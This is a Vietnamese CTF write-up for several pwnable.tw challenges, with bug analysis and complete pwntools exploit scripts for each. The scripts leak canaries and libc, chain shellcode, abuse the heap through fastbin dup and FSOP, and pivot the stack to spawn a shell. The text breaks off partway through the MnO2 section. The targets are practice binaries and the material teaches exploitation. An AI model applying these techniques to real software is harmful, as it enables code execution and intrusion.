# (writeup) PWNABLE.TW p2 - https://pwnable.tw/challenge/ ## BabyStack [250 pts] - description Can you find the password in the stack? ``nc chall.pwnable.tw 10205`` [babystack](https://pwnable.tw/static/chall/babystack) [libc.so](https://pwnable.tw/static/libc/libc_64.so.6) - basic file check ![image](https://hackmd.io/_uploads/SkuAYu1Dp.png) - check ida (có renamed) ![image](https://hackmd.io/_uploads/ryrdK_1wT.png) >**main()** ![image](https://hackmd.io/_uploads/rJC1cu1P6.png) >**copy_input()** ![image](https://hackmd.io/_uploads/ByBAq_kvT.png) >**check_pass()** ### analyse - trước khi in ra '>> ' ở mỗi vòng lặp, sẽ có thêm 1 bước generate cái **random_password** dài 16 bytes > sử dụng '/dev/urandom' - sau đó ở cuối chương trình có 1 bước check trước khi return ``memcmp(random_password,cana_check,0x10)`` >khá giống check canary, nhưng lần này là canary tận 16 bytes - program chia làm 2 option chính: - **check_pass()** : so sánh **input** với **random_password** bằng hàm ``strncmp`` - đúng in "Login Success !" - sai in "Failed !" - BUG ``strncmp`` : so tới NULL là dừng - **copy_input()** : copy **src** vào stack - ***a1** là $rdi được truyền vào là **char v6[64]** - ngoài ra có biến **check** mặc định = 0, khi vào **check_pass()** nếu "Login Success !" thì set = 1 - nhưng trước mỗi lần vào **copy_input()** hay **check_pass()** thì có điều kiện: **if(check)** - **copy_input()** cần **check=1** mới vào được - **check_pass()** cần **check=0** mới vào được - **check=1** thì sẽ reset về **0** khi chọn option **check_pass()** ### brute password --- canary - như đã đề cập từ trước, BUG của ``strncmp`` sẽ chỉ so tới NULL ---> có thể brute từng byte để leak **random_password** - ta sẽ viết 2 vòng lặp lồng nhau, loop 16 byte, mỗi byte brute từ 1 đến 256 ```python leak_password = b'' for i in range(16): for j in range(1,256): payload = b''.join([p8(b) for b in leak_password]) + p8(j) + b'\0' password(payload) if b'Failed !\n' not in p.recvline(): info('byte found: ' + hex(j)[2:]) leak_password += p8(j) sa(b'>> ',b'1') #set check=0 break info('leaked password: ' + str(leak_password)) ``` ### brute libc - kết hợp cả tính năng ``strcpy`` từ **copy_input()**, ta sẽ padding lượng vừa đủ để nối chuỗi đến địa chỉ libc trên stack ![image](https://hackmd.io/_uploads/SyPteexvp.png) >padding 72 bytes nối chuỗi libc - sau đó ta cần **check=1** để đi tiếp **copy_input()** thì đơn giản là **check_pass()** cho NULL : ``p64(0)`` - rồi **copy_input()** padding lại 8 byte khác NULL >lúc này **check=1** thì để brute, ta lại set **check=0** >``sa(b'>> ',b'1') #set check=0`` - tương tự như cách brute password, lần này vòng lặp ít hơn >do **copy_input()** là ``strcpy`` vào **char v6[64]** >mà padding 72 + nối chuỗi vài byte libc >---> overflow cả **random_password** >![image](https://hackmd.io/_uploads/ByM5Xeeva.png) - chỉ cần 5 vòng cho 5 byte, vì 3 byte còn lại là ``0x00007f`` >do debug local nên tạm thời thế 0x7f thành 0x15 ```python libc_leak = [] for i in range(5): for j in range(1,256): payload = b'a'*8 + b''.join([p8(b) for b in libc_leak]) + p8(j) + b'\0' password(payload) if b'Failed !\n' not in p.recvline(): info('byte found: ' + hex(j)[2:]) libc_leak.append(j) sa(b'>> ',b'1') #set check=0 break # libc_leak.append(0x7f) #remote libc_leak.append(0x15) #local libc_leak.append(0) libc_leak.append(0) libc_leak = u64(b''.join([p8(b) for b in libc_leak])) info('libc leak: ' + hex(libc_leak)) libc.addess = libc_leak - 0x78439 info('libc base: ' + hex(libc.addess)) ``` > padding 8 bytes 'a' là do lúc debug, libc ngay sau 8 byte 'a' > ![image](https://hackmd.io/_uploads/HyPTzllDa.png) ### one gadget - tương tự brute libc, ta cần payload return one_gadget nằm trên stack ---> tiếp tục dùng **copy_input()** - việc còn lại là adjust canary và lượng padding phù hợp ```python payload = b'a'*0x40 payload += leak_password #de20 payload += b'a'*0x18 payload += p64(one_gadget) #de48 password(payload) password(p64(0)) copy(b'D'*8) #dd50 -copy-> dde0 print(hexdump(leak_password)) exit() ``` ![image](https://hackmd.io/_uploads/SJXD4elwT.png) ### get flag ![Screenshot 2023-12-20 022620](https://hackmd.io/_uploads/Sy0uElewp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./babystack_patched',checksec=False) libc = ELF('./libc_64.so.6',checksec=False) def GDB(): #NOASLR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x555555400e2a b*0x555555400ebb b*0x555555400ff1 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.pwnable.tw',10205) else: p = process(exe.path) def password(data,check=False): sa(b'>> ',b'1') sa(b'passowrd :',data) def copy(data): sa(b'>> ',b'3') sa(b'Copy :',data) def exit(): sa(b'>> ',b'2') leak_password = b'' for i in range(16): for j in range(1,256): payload = b''.join([p8(b) for b in leak_password]) + p8(j) + b'\0' password(payload) if b'Failed !\n' not in p.recvline(): info('byte found: ' + hex(j)[2:]) leak_password += p8(j) sa(b'>> ',b'1') #set check=0 break info('leaked password: ' + str(leak_password)) payload = b'a'*72 password(payload) password(p64(0)) copy(b'C'*8) sa(b'>> ',b'1') #set check=0 libc_leak = [] for i in range(5): for j in range(1,256): payload = b'a'*8 + b''.join([p8(b) for b in libc_leak]) + p8(j) + b'\0' password(payload) if b'Failed !\n' not in p.recvline(): info('byte found: ' + hex(j)[2:]) libc_leak.append(j) sa(b'>> ',b'1') #set check=0 break # GDB() libc_leak.append(0x7f) #remote # libc_leak.append(0x15) #local libc_leak.append(0) libc_leak.append(0) libc_leak = u64(b''.join([p8(b) for b in libc_leak])) info('libc leak: ' + hex(libc_leak)) libc.addess = libc_leak - 0x78439 info('libc base: ' + hex(libc.addess)) gadget = [0x45216,0x4526a,0xef6c4,0xf0567] one_gadget = libc.addess + gadget[3] payload = b'a'*0x40 payload += leak_password #de20 payload += b'a'*0x18 payload += p64(one_gadget) #de48 password(payload) password(p64(0)) copy(b'D'*8) #dd50 -copy-> dde0 print(hexdump(leak_password)) exit() p.interactive() #FLAG{Its_juS7_a_st4ck0v3rfl0w} ``` >FLAG{Its_juS7_a_st4ck0v3rfl0w} --- ## Alive Note [350 pts] - description: The last 23 days, write down your shellcode. ``nc chall.pwnable.tw 10300`` [alive_note](https://pwnable.tw/static/chall/alive_note) - basic file check ![image](https://hackmd.io/_uploads/ByR_YMROp.png) - check ida ![image](https://hackmd.io/_uploads/r1jTYzC_p.png) >**main()** ![image](https://hackmd.io/_uploads/ByXgqfA_T.png) >**add_note()** >có BUG OOB khi chỉ check idx < 10 >nhập max 8 byte, check các byte ascii >thoả mãn thực thi **strdup** trả về ptr heap lưu vào **note[idx]** >![image](https://hackmd.io/_uploads/rJZu5zRup.png) ![image](https://hackmd.io/_uploads/HkhKqMRup.png) >**show_note()** >BUG OOB, show data trong **note[idx]** ![image](https://hackmd.io/_uploads/HkUa5z0dT.png) >**del_note()** >BUG OOB, xoá **note[idx]** bằng hàm **free** ![image](https://hackmd.io/_uploads/ryJ4iz0_p.png) >**check()** >check các byte chữ HOA chữ THƯỜNG và số ### analyse - vì có BUG OOB, có **free(note[idx])** nên nghĩ đến trigger free@GOT ![image](https://hackmd.io/_uploads/BJJ0ozR_a.png) >offset = -27 - mỗi 1 note tối đa 8 byte và mỗi note là 1 heap được chain kế nhau trong heap chunk - suy ra mỗi shellcode sẽ có bước nhảy để lồng các shellcode trong từng heap - nếu để viết shellcode cho execve thì khá là khoai nên idea sẽ là call sysread rồi get_shell 1 loạt như bth cho dễ ### writing shellcode - [link byte shellcode](https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html?_wkts_=1705022728292) - [link chain code asm](https://defuse.ca/online-x86-assembler.htm#disassembly) - sử dụng lệnh ``jne`` để linking các khối với nhau > ``jne offset`` : sử dụng 1 giá trị độ lệch tương đối giữa 2 khối đoạn nằm trong phạm vi pháp lý - nếu dùng pwntool thì bị lỗi khi generate shellcode nên xem link byte shellcode trên biết được lệnh ``jne`` có byte là '\x75' (hoặc ``jnz``) - về ``int 0x80`` thì dùng kỹ thuật ``xor`` tương tự bài [Death Note](https://hackmd.io/@trhoanglan04/ryoncvv42#Death-Note-250-pts) - ``jne`` để nhảy thì nhảy cũng phải từ 0x30 trở lên (thoả mãn byte in được) ---> chain shellcode cách vài chunk ![image](https://hackmd.io/_uploads/rJcAxVROa.png) >registers trước khi thực thi shellcode >local thì $ebx chứa địa chỉ môi trường nhưng server sẽ = 0 ``` idea xor: đẩy eax lên stack đưa đỡ vào ecx rồi từ ecx đó đem đi xor đẩy edx là 0 lên stack rồi pop eax giảm eax xuống 0xffffffff rồi đem đi xor idea jump: cuối payload sẽ tính offset đến shellcode tiếp theo script có note lại quá trình shellcode bị biến đổi theo dõi script để hiểu kỹ hơn ``` ### setup run LOCAL ```pwndbg pwndbg> call (int)mprotect(heap_base,offset,7) ``` ### get shell ![image](https://hackmd.io/_uploads/rJ2Jy4AdT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./alive_note',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*add_note+98 b*del_note+76 b*show_note+95 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.pwnable.tw',10300) else: p = process(exe.path) def add(idx,name): sla(b'choice :',b'1') sla(b'Index :',str(idx)) sa(b'Name :',name) def show(idx): sla(b'choice :',b'2') sla(b'Index :',str(idx)) def delete(idx): sla(b'choice :',b'3') sla(b'Index :',str(idx)) GDB() shellcode1 = asm(''' push eax pop ecx push edx push 0x7a pop edx ''',arch='x86') shellcode1 += b'\x75\x38' #jump 1e0 shellcode5 add(-27,shellcode1) #1a0 shellcode2 = asm(''' xor al,0x46 xor byte ptr[ecx+0x35], al push edx ''',arch='i386') #0xff ^ 0x46 = 0xb9 #ecx+0x35 = b'\x74' (shellcode4) shellcode2 += b'\x75\x38' #jump 1f0 shellcode6 #\x74 ^ 0xb9 = 0xcd add(0,shellcode2) #1b0 shellcode3 = b'aaaa' #padding add(1,shellcode3) #1c0 shellcode4 = asm(''' pop eax xor al, 0x79 push eax push eax ''',arch='i386') shellcode4 += b'\x74\x39' #int 0x80 call sysread add(2,shellcode4) #1d0 shellcode5 = asm(''' pop eax dec eax xor byte ptr[ecx+0x46], al ''',arch='i386') #ecx+0x46 = b'\x36' (shellcode5) shellcode5 += b'\x75\x36' #jump 1b0 shellcode2 #\x36 ^ 0xff = 0xcb (jne -0x35) add(3,shellcode5) #1e0 shellcode6 = asm(''' xor byte ptr[ecx+0x36], al xor byte ptr[ecx+0x57], al ''',arch='i386') #ecx+0x36 = b'\x39' (shellcode4) #ecx+0x57 = b'\x61' (shellcode6) shellcode6 += b'\x75\x61' #jump 1d0 shellcode4 #\x39 ^ 0xb9 = 0x80 #\x61 ^ 0xb9 = 0xd8 (jne -0x26) add(4,shellcode6) #1f0 delete(-27) get_shell = asm(shellcraft.sh()) p.send(b'a'*0x37+get_shell) p.interactive() #FLAG{Sh3llcoding_in_th3_n0t3_ch4in} ``` >FLAG{Sh3llcoding_in_th3_n0t3_ch4in} --- ## Heap Paradise [350 pts] - description Let's go to heap paradise ``nc chall.pwnable.tw 10308`` [heap_paradise](https://pwnable.tw/static/chall/heap_paradise) [libc.so](https://pwnable.tw/static/libc/libc_64.so.6) - basic file check ![image](https://hackmd.io/_uploads/S1DCBvMt6.png) - check ida (renamed do stripped) ![image](https://hackmd.io/_uploads/H1LiSpGK6.png) >**main()** ![image](https://hackmd.io/_uploads/By4THTGY6.png) >**menu()** >chia làm 3 option chính >tạo chunk, xoá chunk và thoát chtrinh ![image](https://hackmd.io/_uploads/SkwJL6ftp.png) >**add()** >tạo tối đa 15 chunks >mỗi chunk tạo có size tối đa 0x78 >ptr mỗi chunk được lưu vào bss **chunk** >![image](https://hackmd.io/_uploads/H1A5IaGKp.png) >NOASLR : chunk = 0x555555602040 ![image](https://hackmd.io/_uploads/rkb-8TfK6.png) >**delete()** >đơn giản là free chunk thôi >nhưng lại k set ptr = NULL >---> DBF hoặc UAF ### analyse - 1 chtrinh đơn giản chỉ tạo chunk, xoá chunk - không có option nào in ra data - phải định hướng làm sang FSOP - challenge đi kèm libc2.23 ---> không có tcache - lấy shell bằng ``__malloc_hook`` ### make ubin - đầu tiên ta phải tạo fake_chunk, cũng như set fake_next_size - bước này đơn giản thôi - DBF để sửa fastbin trỏ về fake_chunk - sau đó sửa size fake_chunk lên 0xa1 (out of range fastbin) rồi cuối cùng free nó ```python payload = flat( 0,0, #4010 #4018 0,0x71 #4020 #4028 #fake_chunk #victim_size ) add(0x68,payload) #chunk0:4010 payload = flat( 0,0, #4080 #4088 0,0, #4090 #4098 0,0, #40a0 #40a8 0,0, #40b0 #40b8 0,0x21 #40c0 #40c8 #next_chunk #next_size ) add(0x68,payload) #chunk1:4080 delete(0) #0 #4000 delete(1) #1->0 #4070->4000 delete(0) #0->1->0 #4000->4070->4000 #fastbin dup add(0x68,b'\x20') #chunk2:4010 #bin:0x4070->4000->4020 add(0x68,b'A') #chunk3:4080 #bin:4000->4020 add(0x68,b'B') #chunk4:4010 #bin:4020 add(0x68,b'C') #chunk5:4030 #fake_chunk delete(0) #bin:4000 payload = flat( 0,0, #4010 #4018 0,0xa1 #4020 #4028 #fake_chunk #fake_size ) add(0x68,payload) #chunk6:4010 delete(5) #5 -> ubin:4020 ``` ### brute force FSOP - khúc này ta sẽ tận dụng cơ chế phân bổ chunk khi có ubin ([xem thêm](https://hackmd.io/@trhoanglan04/heap_introduce#%F0%9F%91%80-unsorted-large-small-bins)) - ta sẽ tạo 1 chunk khác với size cũ, để malloc phân bổ ubin từ size 0xa1 xuống >tránh malloc cùng size để reused fastbin - rồi data sẽ set fake_size cũng như ow 1 byte trỏ đến main_area ```python delete(0) #0 #4000 delete(1) #1->0 #4070->4000 payload = flat( 0,0, #4030 #4038 0,0, #4040 #4048 0,0, #4050 #4058 0,0, #4060 #4068 0,0x71 #4070 #4078 ) payload += b'\xa0' #ow heap bin #from 4070->4000 to 4070->40a0->main_area add(0x78,payload) #chunk7:4030 #request from ubin 4020 #new ubin 40a0 (size 0xa1-0x80=0x21) delete(7) ``` - lần malloc tiếp theo với size cũ sẽ có khả năng ow cả main_area - ta sẽ ow 2 bytes biến main_area thành 1 addr_libc khác >logical thinking sẽ ow 2 byte nào đó là 1 fake_chunk có sẵn fake_size - để FSOP thì liên quan đến stdout, ta sẽ ow địa chỉ trước stdout là stderr và kiếm 1 địa chỉ sao cho có size 0x7f (byte libc) ![image](https://hackmd.io/_uploads/Hy1UAaGF6.png) >do DEBUG LOCAL có NOASLR nên byte là 0x15, giả định bỏ NOASLR là byte 0x7f - nhận thấy rằng ở ``_IO_2_1_stdout - 0x43`` có size thoả mãn, ta sẽ ow đúng 2 bytes ``b'\xdd\x45'`` ```python brute = p64(libc.sym['_IO_2_1_stdout_'] - 0x43)[:2] payload = flat( 0,0, #4080 #4088 0,0, #4090 #4098 0,0x71 #40a0 #40a8 #victim_chunk #re_size ) payload += brute #ow main_area to stdout-0x43 (fake_size 0x7f) add(0x68,payload) #chunk8:4080 #bin:40a0->stdout-0x43 add(0x68,brute) #chunk9:40b0 #re_ow stdout-0x43 ``` - về target để leak libc trong FSOP, có thể [xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#target-to-leak) ![image](https://hackmd.io/_uploads/r14iSAGFT.png) >_flags = 0xfbad1800 >write_base < write_ptr : sửa 46a3 thành 4688 >0x88 < 0xa3 : thoả >0x88 : chứa địa chỉ stdin >![image](https://hackmd.io/_uploads/HkaEURzF6.png) > offset = 0x3c38e0 ### ow __malloc_hook = one_gadget - tới bước này là dễ rồi, tương tự các bài khác > [xem kỹ thuật](https://hackmd.io/@trhoanglan04/rJxI7P1Dn#Attack-Hook-Hook-Overwrite) ![image](https://hackmd.io/_uploads/BJQSXOftp.png) ### get flag ![image](https://hackmd.io/_uploads/rkxC7uzYT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./heap_paradise_patched',checksec=False) libc = ELF('./libc_64.so.6',checksec=False) ld = ELF('./ld-2.23.so',checksec=False) def GDB(): #NOALSR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x555555400d66 b*0x555555400dcd c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) def add(size, data): sla(b'You Choice:',b'1') sla(b'Size :',str(size)) sa(b'Data :',data) def delete(idx): sla(b'You Choice:',b'2') sla(b'Index :',str(idx)) #chunk = 0x555555602040 while True: if args.REMOTE: p = remote('chall.pwnable.tw',10308) else: p = process(exe.path) ### ubin ### payload = flat( 0,0, #4010 #4018 0,0x71 #4020 #4028 #fake_chunk #victim_size ) add(0x68,payload) #chunk0:4010 payload = flat( 0,0, #4080 #4088 0,0, #4090 #4098 0,0, #40a0 #40a8 0,0, #40b0 #40b8 0,0x21 #40c0 #40c8 #next_chunk #next_size ) add(0x68,payload) #chunk1:4080 delete(0) #0 #4000 delete(1) #1->0 #4070->4000 delete(0) #0->1->0 #4000->4070->4000 #fastbin dup add(0x68,b'\x20') #chunk2:4010 #bin:0x4070->4000->4020 add(0x68,b'A') #chunk3:4080 #bin:4000->4020 add(0x68,b'B') #chunk4:4010 #bin:4020 add(0x68,b'C') #chunk5:4030 #fake_chunk delete(0) #bin:4000 payload = flat( 0,0, #4010 #4018 0,0xa1 #4020 #4028 #fake_chunk #fake_size ) add(0x68,payload) #chunk6:4010 delete(5) #5 -> ubin:4020 ### leak libc ### # GDB() delete(0) #0 #4000 delete(1) #1->0 #4070->4000 payload = flat( 0,0, #4030 #4038 0,0, #4040 #4048 0,0, #4050 #4058 0,0, #4060 #4068 0,0x71 #4070 #4078 ) payload += b'\xa0' #ow heap bin #from 4070->4000 to 4070->40a0->main_area add(0x78,payload) #chunk7:4030 #request from ubin 4020 #new ubin 40a0 (size 0xa1-0x80=0x21) delete(7) #bin0x70:4070->40a0->main_area #bin0x80:4020 brute = p64(libc.sym['_IO_2_1_stdout_'] - 0x43)[:2] payload = flat( 0,0, #4080 #4088 0,0, #4090 #4098 0,0x71 #40a0 #40a8 #victim_chunk #re_size ) payload += brute #ow main_area to stdout-0x43 (fake_size 0x7f) add(0x68,payload) #chunk8:4080 #bin:40a0->stdout-0x43 add(0x68,brute) #chunk9:40b0 #re_ow stdout-0x43 _flags = 0xfbad1800 payload = b'\0'*0x33 #padding payload += p64(_flags) payload += p64(0) * 3 + b'\x88' try: add(0x68,payload) #take from libc addr (main area) except EOFError: continue leak = p.recv(6) if leak != b'*'*6: libc_leak = u64(leak.ljust(8,b'\0')) libc.address = libc_leak - 0x3c38e0 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) break else: p.close() ### get shell ### delete(0) delete(1) delete(0) gadget = [0x45216,0x4526a,0xef6c4,0xf0567] one_gadget = libc.address + gadget[2] add(0x68,p64(libc.sym['__malloc_hook']-0x23)) add(0x68,b'A') add(0x68,b'B') add(0x68,b'a'*0x13 + p64(one_gadget)) delete(0) delete(0)#trigger aborted p.interactive() #FLAG{W3lc0m3_2_h3ap_p4radis3} ``` >FLAG{W3lc0m3_2_h3ap_p4radis3} --- ## Spirited Away [300 pts] - description: Thanks for watching Spirited Away ! Please leave some comments to help us improve our next movie ! ``nc chall.pwnable.tw 10204`` [spirited_away](https://pwnable.tw/static/chall/spirited_away) [libc.so](https://pwnable.tw/static/libc/libc_32.so.6) - basic file check ![image](https://hackmd.io/_uploads/SkgtoGNh6.png) - check ida ![image](https://hackmd.io/_uploads/ryBpjGVhp.png) ![image](https://hackmd.io/_uploads/r1-4dzBhp.png) >**survey()** >biến **name_buf** là ptr cho **malloc(60)** >loop lại thì **free(name_buf)** rồi **memset()** cho **comment** ### analyse - run chay binary thì thấy 1 khả năng leak từ %s ![image](https://hackmd.io/_uploads/S1ZHJ-Hn6.png) > leak được libc, stack, v.v.. - ngoài ra còn 1 bug khác ít để ý tới là lỗi off-by-one đến từ hàm **sprintf()** - biến **v1** được khai báo là 56, ![image](https://hackmd.io/_uploads/HkeMXPO2T.png) > chuỗi `%d comment so far. We will review them as soon as we can` vừa hay đủ 56 byte - hàm đó sẽ copy định dạng `%d` từ biến **cnt** và cả chuỗi đó vào - đồng nghĩa nếu biến **cnt** trong phạm vi 0<**cnt**<99 sẽ vẫn ở trạng thái 56 byte > "%d" là 2, **cnt** khi ở 2 digits vẫn k vấn đề gì - nhưng **cnt** là 3 digits sẽ overflow xuống biến **size_60** 1 byte là "n" trong từ "can" > từ size 60 thành size 0x6e ("n") ===> BOF cho biến **name_buf** và **comment** ### leak primitive - leak libc và leak stack là dễ rồi ```python add(b'a',10,b'b'*36,b'c') p.recvuntil(b'b'*36) libc_leak = u32(p.recv(4)) libc.address = libc_leak - 0x5d39f info("libc leak: " + hex(libc_leak)) info("libc base; " + hex(libc.address)) yes() add(b'a',10,b'b'*56,b'c') p.recvuntil(b'b'*56) stack_leak = u32(p.recv(4)) info("stack leak: " + hex(stack_leak)) yes() ``` ### ret2system - đầu tiên ta phải padding đến khi thành size 0x6e ```python for i in range(3,101): if i > 10 and i <=100: add(False,10,b'b',False) info("cnt: " + str(i)) yes() else: add(b'a',10,b'b',b'c') info("cnt: " + str(i)) yes() ``` > phải chia 2 giai đoạn padding khác nhau vì trong lúc DEBUG, có vài đoạn bị pass qua mà không cần nhập ```python def add(name, age, reason, comment): if name != False: sa('name: ',name) sla('age: ',str(age)) sa('movie? ',reason) if comment: sa('comment: ',comment) ``` >chỉnh lại hàm - nhớ thứ tự biến trong ida là **comment[80]** -> ***name_buf** -> **reason[80]** ``` comment = $ebp-0xa8 #comment->name_buf = 0x54 name_buf = $ebp-0x54 reason = $ebp-0x50 ``` - và thứ tự ghi data là **name_buf** -> **age** -> **reason** -> **comment** - vì **reason** gần $eip nhất mà lại không BOF được, nên ta sẽ fake **name_buf** thành stack_need gần $eip - nhưng **name_buf** lại là ptr chứa heap chunk, để fake không bị lỗi ta phải setup stack_need thành fake_chunk có fake_size 0x41 - cũng không quên set cho cả next_size của fake_chunk ![image](https://hackmd.io/_uploads/S1vEGmH36.png) >loop gần 100 vòng nên next_chunk có size tận 0x1008 - sau **reason** là tới **comment** có khả năng BOF ow được **name_buf** ```python reason = p32(0) reason += p32(0x41) #fake_size reason += b'aaaa'*15 #need = ptr name_buf = fake_chunk reason += p32(0x1009) #fake_next_size cmt = b'd'*0x54 + p32(stack_leak-0x68) add(b'a',10,reason,cmt) yes() ``` - cuối cùng thì ow $eip là **system()** là xong ### get flag ![image](https://hackmd.io/_uploads/r15jb7BhT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./spirited_away_patched',checksec=False) libc = ELF('./libc_32.so.6',checksec=False) def GDB(): #NOASLR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*survey+125 b*survey+235 b*survey+305 b*survey+381 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.pwnable.tw',10204) else: p = process(exe.path) def add(name, age, reason, comment): if name != False: sa('name: ',name) sla('age: ',str(age)) sa('movie? ',reason) if comment: sa('comment: ',comment) def yes(): sa(b'<y/n>: ',b'y') add(b'a',10,b'b'*36,b'c') p.recvuntil(b'b'*36) libc_leak = u32(p.recv(4)) libc.address = libc_leak - 0x5d39f info("libc leak: " + hex(libc_leak)) info("libc base; " + hex(libc.address)) yes() add(b'a',10,b'b'*56,b'c') p.recvuntil(b'b'*56) stack_leak = u32(p.recv(4)) info("stack leak: " + hex(stack_leak)) yes() system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh\0')) for i in range(3,101): if i > 10 and i <=100: add(False,10,b'b',False) info("cnt: " + str(i)) yes() else: add(b'a',10,b'b',b'c') info("cnt: " + str(i)) yes() name_stack = stack_leak - 0x74 comment_stack = stack_leak - 0xc8 reason_stack = stack_leak - 0x70 age_stack = stack_leak - 0x78 info("stack leak: " + hex(stack_leak)) info("stack name_buf: " + hex(name_stack)) info("stack reason: " + hex(reason_stack)) info("stack comment: " + hex(comment_stack)) info("stack need: " + hex(stack_leak-0x68)) GDB() reason = p32(0) reason += p32(0x41) #fake_size reason += b'aaaa'*15 #need = ptr name_buf = fake_chunk reason += p32(0x1009) #fake_next_size cmt = b'd'*0x54 + p32(stack_leak-0x68) add(b'a',10,reason,cmt) yes() payload = b'a' * 76 payload += p32(system) payload += p32(0) #padding payload += p32(binsh) add(payload,10,b'b',b'a') sa(b'<y/n>: ',b'n') p.interactive() #FLAG{Wh4t_1s_y0ur_sp1r1t_1n_pWn} ``` > --- ## De-ASLR [500 pts] - description Do you know how to Defeat ASLR? ``nc chall.pwnable.tw 10402`` [deaslr](https://pwnable.tw/static/chall/deaslr) [libc.so](https://pwnable.tw/static/libc/libc_64.so.6) - basic file check ![image](https://hackmd.io/_uploads/HyahfsYhT.png) - check ida ![image](https://hackmd.io/_uploads/r1hSmoF3a.png) >**main()** ### analyse - chỉ 1 hàm **gets**, không hàm nào possible để in ra - ban đầu nghĩ tới ret2dlresolve, nhưng nhìn security check thì thấy ==Full RELRO== - sau khi nhận được hint là BUG sẽ xuất hiện khi ta trigger **gets** twice - trigger **gets** tức là mình phải ghi cái gì đó - để leak libc bằng FSOP ta cũng phải ghi đè ``flags = 0xfbad1800`` chẳng hạn - và get shell bằng **system** thì ta phải call tới nó ![image](https://hackmd.io/_uploads/B1ksXhF2T.png) >khi leak libc bằng FSOP thì khó mà đưa **system("/bin/sh")** vào stack >nên ta chọn cái ``call qword ptr [rbp + 0x48]`` ### stack pivot - đầu tiên để ROP thì ta sẽ stack pivot vào 1 addr r_w_section ```python payload = p64(rw_section) #rbp payload += p64(pop_rdi) payload += p64(rw_section) payload += p64(gets) payload += p64(leave_ret) sl(b'a'*0x10 + payload) ``` ### ROP + FSOP - vì mục tiêu là ``rbp + 0x48`` nên target_addr sẽ chứa **system** - ta sẽ trigger **gets** 2 lần, lần 1 chỉ '\n', lần 2 sẽ cho FSOP - dừng lại sau khi **gets** lần 1: ![image](https://hackmd.io/_uploads/rysAp3Yh6.png) >nhìn thấy $rdi là `_IO_2_1_stdin` >lần **gets** thứ 2 sẽ thay đổi được file structure - ta sẽ leak libc_start_main ![image](https://hackmd.io/_uploads/Skv1y6t2p.png) >0x600fe0 - sử dụng pwntool cho tiện ```python fs = FileStructure() fs.flags = 0xfbad1800 fs._IO_write_base = 0x600fe0 # __libc_start_main_@got.plt fs._IO_write_ptr = 0x600fe8 # leak 8 bytes ``` - việc sau đó là call **gets** lần nữa để ghi **system** và "/bin/sh\0" - rồi setup $rdi cho "/bin/sh\0" rồi `call qword [rbp + 0x48]` ### get flag ![image](https://hackmd.io/_uploads/HJBx8jt3T.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./deaslr_patched',checksec=False) libc = ELF('./libc_64.so.6',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+30 b*main+31 b*0x400430 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.pwnable.tw',10402) else: p = process(exe.path) gets = exe.plt['gets'] pop_rdi = 0x00000000004005c3 call_rbp = 0x0000000000400535 # call qword ptr [rbp + 0x48] leave_ret = 0x0000000000400554 rw_section = 0x601a00 target = 0x601020 #stack pivot payload = p64(rw_section) #rbp payload += p64(pop_rdi) payload += p64(rw_section) payload += p64(gets) #payload1 payload += p64(leave_ret) # GDB() sl(b'a'*0x10 + payload) payload = p64(target - 0x48) #fake_rbp payload += p64(pop_rdi) payload += p64(0x601b00) #rw_section payload += p64(gets) #payload2 payload += p64(gets) #payload3 #trigger twice FSOP payload += p64(pop_rdi) payload += p64(target) payload += p64(gets) #payload4 #leak libc payload += p64(pop_rdi) payload += p64(target+8) #"/bin/sh" payload += p64(call_rbp) #call system sl(payload) #payload1 sl(b'') #payload2 #not send to have _IO_2_1_stdin_ in rdi #next gets will write like FSOP fs = FileStructure() fs.flags = 0xfbad1800 fs._IO_write_base = 0x600fe0 # __libc_start_main_@got.plt fs._IO_write_ptr = 0x600fe8 # leak 8 bytes sl(bytes(fs)[:0x48]) #payload3 libc_leak = u64(p.recv(8)) libc.address = libc_leak - libc.sym['__libc_start_main'] log.info('libc leak: ' + hex(libc_leak)) log.info('libc base: ' + hex(libc.address)) payload = p64(libc.sym['system']) #target payload += b'/bin/sh\0' sl(payload) #payload4 p.interactive() #FLAG{R0P_H4rd_TO_D3F3AT_ASLR} ``` >FLAG{R0P_H4rd_TO_D3F3AT_ASLR} --- ## MnO2 [400 pts] - description Give me some compound. No more than 31337 mole. ``nc chall.pwnable.tw 10301`` [mno2](https://pwnable.tw/static/chall/mno2) - basic file check ![image](https://hackmd.io/_uploads/ry2743L6a.png) - check ida ![image](https://hackmd.io/_uploads/rJTLN3I66.png) >**main()** ![image](https://hackmd.io/_uploads/Sy1u4hLaa.png) ![image](https://hackmd.io/_uploads/HyV_N2LaT.png) >**check()** ![image](https://hackmd.io/_uploads/rkK5EhI6T.png) >**find()** ![image](https://hackmd.io/_uploads/HkxCNh8pT.png) >&**elements** 